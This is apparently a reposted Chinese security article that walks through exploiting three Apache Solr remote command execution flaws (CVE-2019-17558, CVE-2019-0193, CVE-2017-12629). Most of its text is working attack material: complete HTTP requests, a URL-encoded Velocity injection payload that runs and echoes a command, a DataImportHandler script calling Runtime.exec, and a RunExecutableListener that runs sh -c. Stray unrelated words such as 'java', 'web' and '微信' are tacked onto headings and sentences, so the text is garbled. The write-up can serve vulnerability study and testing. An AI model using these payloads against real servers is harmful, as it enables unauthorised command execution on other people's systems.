Apache Solr Velocity 注入遠程命令執行漏洞 (CVE-2019-17558)
漏洞描述html
Solr是Apache Lucene項目的開源企業搜索平臺。其主要功能包括全文檢索、命中標示、分面搜索、動態聚類、數據庫集成,以及富文本的處理。2019年10月30日,國外安全研究人員放出了一個關於solr 模板注入的exp,攻擊者經過未受權訪問solr服務器,發送特定的數據包開啓 params.resource.loader.enabled,而後get訪問接口致使服務器命令執行。
影響版本
5.0.0 到 8.3.1版本java
漏洞復現
默認狀況下params.resource.loader.enabled配置未打開,沒法使用自定義模板。咱們先經過以下API獲取全部的核心:web
http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json
經過以下請求開啓params.resource.loader.enabled,其中API路徑包含剛纔獲取的core名稱:數據庫
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
以後,注入Velocity模板便可執行任意命令:json
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Apache Solr 遠程命令執行漏洞(CVE-2019-0193)
漏洞描述安全
2019年8月1日,Apache Solr官方發佈了CVE-2019-0193漏洞預警,漏洞危害評級爲嚴重。當solr開啓了DataImportHandler功能,該模塊中的DIH配置均可以經過外部請求dataconfig參數進行修改,DIH可包含腳本,所以,會存在遠程代碼執行漏洞。
影響範圍
Apache Solr < 8.2.0服務器
漏洞復現
搭建完成微信
經過接口來獲取全部 core 信息,由於咱們構造 payload 須要 name 信息。
http://127.0.0.1:8983/solr/admin/coressession
如上圖所示,首先打開剛剛建立好的test核心,選擇Dataimport功能並選擇debug模式,填入如下POC:app
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
點擊Execute with this Confuguration會發送如下請求包:
POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
可見/tmp/success已成功建立:
Apache Solr 遠程命令執行漏洞(CVE-2017-12629)
漏洞簡介
Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。原理大體是文檔經過Http利用XML加到一個搜索集合中。查詢該集合也是經過 http收到一個XML/JSON響應來實現。這次7.1.0以前版本總共爆出兩個漏洞:XML實體擴展漏洞(XXE)和遠程命令執行漏洞(RCE),兩者能夠鏈接成利用鏈,編號均爲CVE-2017-12629。
漏洞復現
首先建立一個listener,其中設置exe的值爲咱們想執行的命令,args的值是命令參數:
POST /solr/demo/config HTTP/1.1
Host: target ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
而後進行update操做,觸發剛纔添加的listener:
POST /solr/demo/update HTTP/1.1
Host: target ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
進入容器,可見/tmp/success已成功建立:
本文分享自微信公衆號 - 黑白天(li0981jing)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。